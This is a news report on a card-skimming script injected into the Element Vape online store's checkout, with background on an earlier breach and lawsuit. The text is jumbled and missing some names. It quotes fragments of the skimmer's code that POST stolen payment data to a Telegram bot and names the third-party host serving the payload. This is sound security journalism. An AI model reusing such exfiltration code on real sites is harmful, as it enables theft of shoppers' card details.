With an uncompromising drive to exceed expectations, we are committed to help customers experience the best possible shopping experience,” states Element Vape’s website. “Our personal philosophy is to give consumers more than what they pay for. He company, according to its website, is based in California and has been in operation since 2013. Known as TheSY LLC in some states, Element Vape’s Twitter account shows a following of more than 13,000 users.īut, oddly enough, their tweets are protected, making it harder to interact with the retailer.Įlement Vape’s tweets are protected (Twitter)
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This was followed by a class-action lawsuit in 2019, demanding a trial by jury.ĭespite supposedly being “ one of the world’s largest online Vape retailers” of e-cigarettes across retail stores and online, not much is readily known about Element Vape. Element Vape confirmed the claims via what appears to be the company’s Reddit account.įollowing this event, Illinois-based consumer Artur Tyksinski sued Element Vape alleging that the vaping retailer “failed to timely notify affected individuals of the data breach” and didn’t have adequate procedures in place to prevent unauthorized access to customers’ confidential information. In 2018, Element Vape customers reported receiving letters from the company stating that a data breach had occurred and the “window of intrusion between and June 27, 2018” potentially exposed customers’ personal information to threat actors. It isn’t clear how ’s backend code was malicously modified in the first place to sneak in the malicious script.Īnd, this is not the first time Element Vape has been compromised either. X.setRequestHeader('Content-Type', 'application/json charset=utf-8') įurther, the script contains anti-reverse-engineering features that check if it is being run in a sandbox environment or “ devtools” to deter analysis. X.open("POST", ""+tbot+"/sendMessage", true) This information is then exfiltrated to the attacker via an obfuscated, hardcoded Telegram address present in the script: var x = new XMLHttpRequest()
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Some of the fields that the script looks for include: email address, payment card number/expiration date, phone number, billing address including street and ZIP code. The above script, when decoded and analyzed by BleepingComputer, was seen collecting customers’ payment card and billing information on checkout. The heavily obfuscated malicious payload resides in this frontend.js file towards the end: Script exfiltrates payment data via Telegram When decoded, these six lines are simply pulling in the following JavaScript file, hosted on a third-party site: //weicowirecom/js/jquery/frontend.js Therefore, the infection appears to be more recent, occurring sometime after the date and before getting discovered today.
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Our analysis of on Wayback Machine indicates the above code was absent as of February 5th 2022 and before. It isn’t exactly known for how long has the malicious script been present on.
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